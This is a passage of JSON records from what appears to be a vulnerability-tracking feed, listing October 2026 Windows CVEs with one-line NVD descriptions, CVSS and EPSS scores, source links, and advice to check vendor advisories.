Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:24.743Z","updatedAt":"2026-10-16T16:20:34.487Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70126","asOf":"2026-10-16T16:20:34.487Z"},"epss":{"probability":0.00533,"percentile":0.44742,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70126&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70126","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70126","type":"primary","publishedAt":"2026-10-13T19:19:24.743Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70126&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70126, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70123","cveId":"CVE-2026-70123","aliases":[],"kind":"vulnerability","title":"Numeric truncation error in Microsoft Graphics Component allows an authorized attacker to elevate privileges locally.","summary":"Numeric truncation error in Microsoft Graphics Component allows an authorized attacker to elevate privileges locally.","detail":"Numeric truncation error in Microsoft Graphics Component allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:24.550Z","updatedAt":"2026-10-17T04:16:52.880Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70123","asOf":"2026-10-17T04:16:52.880Z"},"epss":{"probability":0.00348,"percentile":0.28093,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70123&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70123","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70123","type":"primary","publishedAt":"2026-10-13T19:19:24.550Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70123&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70123, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70118","cveId":"CVE-2026-70118","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Audio Service allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Audio Service allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Audio Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:24.003Z","updatedAt":"2026-10-13T22:18:07.443Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70118","asOf":"2026-10-13T22:18:07.443Z"},"epss":{"probability":0.00307,"percentile":0.23266,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70118&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70118","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70118","type":"primary","publishedAt":"2026-10-13T19:19:24.003Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70118&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70118, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70115","cveId":"CVE-2026-70115","aliases":[],"kind":"vulnerability","title":"Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:23.593Z","updatedAt":"2026-10-13T22:18:07.070Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft Windows"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70115","asOf":"2026-10-13T22:18:07.070Z"},"epss":{"probability":0.00286,"percentile":0.2092,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70115&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70115","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70115","type":"primary","publishedAt":"2026-10-13T19:19:23.593Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70115&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70115, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70113","cveId":"CVE-2026-70113","aliases":[],"kind":"vulnerability","title":"Integer overflow or wraparound in Windows Client for NFS allows an authorized attacker to elevate privileges locally.","summary":"Integer overflow or wraparound in Windows Client for NFS allows an authorized attacker to elevate privileges locally.","detail":"Integer overflow or wraparound in Windows Client for NFS allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:23.287Z","updatedAt":"2026-10-16T16:20:33.317Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70113","asOf":"2026-10-16T16:20:33.317Z"},"epss":{"probability":0.00388,"percentile":0.32607,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70113&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70113","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70113","type":"primary","publishedAt":"2026-10-13T19:19:23.287Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70113&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70113, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70112","cveId":"CVE-2026-70112","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Spaceport.sys allows an authorized attacker to execute code locally.","summary":"Heap-based buffer overflow in Windows Spaceport.sys allows an authorized attacker to execute code locally.","detail":"Heap-based buffer overflow in Windows Spaceport.sys allows an authorized attacker to execute code locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:23.140Z","updatedAt":"2026-10-16T16:20:33.163Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70112","asOf":"2026-10-16T16:20:33.163Z"},"epss":{"probability":0.00388,"percentile":0.32605,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70112&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70112","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70112","type":"primary","publishedAt":"2026-10-13T19:19:23.140Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70112&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70112, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70110","cveId":"CVE-2026-70110","aliases":[],"kind":"vulnerability","title":"Stack-based buffer overflow in Microsoft PostScript Printer Driver allows an unauthorized attacker to elevate privileges locally.","summary":"Stack-based buffer overflow in Microsoft PostScript Printer Driver allows an unauthorized attacker to elevate privileges locally.","detail":"Stack-based buffer overflow in Microsoft PostScript Printer Driver allows an unauthorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:22.750Z","updatedAt":"2026-10-16T16:20:32.800Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70110","asOf":"2026-10-16T16:20:32.800Z"},"epss":{"probability":0.00486,"percentile":0.41541,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70110&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70110","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70110","type":"primary","publishedAt":"2026-10-13T19:19:22.750Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70110&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70110, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70109","cveId":"CVE-2026-70109","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft PostScript Printer Driver allows an unauthorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Microsoft PostScript Printer Driver allows an unauthorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Microsoft PostScript Printer Driver allows an unauthorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:22.577Z","updatedAt":"2026-10-16T16:20:32.600Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70109","asOf":"2026-10-16T16:20:32.600Z"},"epss":{"probability":0.00486,"percentile":0.41542,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70109&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70109","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70109","type":"primary","publishedAt":"2026-10-13T19:19:22.577Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70109&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70109, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70089","cveId":"CVE-2026-70089","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows GDI allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Windows GDI allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Windows GDI allows an unauthorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:20.530Z","updatedAt":"2026-10-16T16:20:30.390Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70089","asOf":"2026-10-16T16:20:30.390Z"},"epss":{"probability":0.00948,"percentile":0.60927,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70089&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70089","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70089","type":"primary","publishedAt":"2026-10-13T19:19:20.530Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70089&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70089, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70086","cveId":"CVE-2026-70086","aliases":[],"kind":"vulnerability","title":"Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:20.230Z","updatedAt":"2026-10-16T16:20:30.133Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft Windows"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70086","asOf":"2026-10-16T16:20:30.133Z"},"epss":{"probability":0.00286,"percentile":0.20928,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70086&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70086","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70086","type":"primary","publishedAt":"2026-10-13T19:19:20.230Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70086&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70086, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70076","cveId":"CVE-2026-70076","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:19.207Z","updatedAt":"2026-10-14T04:18:30.030Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70076","asOf":"2026-10-14T04:18:30.030Z"},"epss":{"probability":0.00337,"percentile":0.26823,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70076&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70076","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70076","type":"primary","publishedAt":"2026-10-13T19:19:19.207Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70076&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70076, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70069","cveId":"CVE-2026-70069","aliases":[],"kind":"vulnerability","title":"Stack-based buffer overflow in Windows DHCP Server allows an authorized attacker to execute code over a network.","summary":"Stack-based buffer overflow in Windows DHCP Server allows an authorized attacker to execute code over a network.","detail":"Stack-based buffer overflow in Windows DHCP Server allows an authorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:18.323Z","updatedAt":"2026-10-13T22:18:02.337Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70069","asOf":"2026-10-13T22:18:02.337Z"},"epss":{"probability":0.01034,"percentile":0.63604,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70069&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70069","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70069","type":"primary","publishedAt":"2026-10-13T19:19:18.323Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70069&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70069, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70068","cveId":"CVE-2026-70068","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Client-Side Caching (CSC) Service allows an unauthorized attacker to elevate privileges over a network.","summary":"Heap-based buffer overflow in Windows Client-Side Caching (CSC) Service allows an unauthorized attacker to elevate privileges over a network.","detail":"Heap-based buffer overflow in Windows Client-Side Caching (CSC) Service allows an unauthorized attacker to elevate privileges over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:18.137Z","updatedAt":"2026-10-16T16:20:28.570Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70068","asOf":"2026-10-16T16:20:28.570Z"},"epss":{"probability":0.00948,"percentile":0.6093,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70068&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70068","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70068","type":"primary","publishedAt":"2026-10-13T19:19:18.137Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70068&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70068, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70067","cveId":"CVE-2026-70067","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges 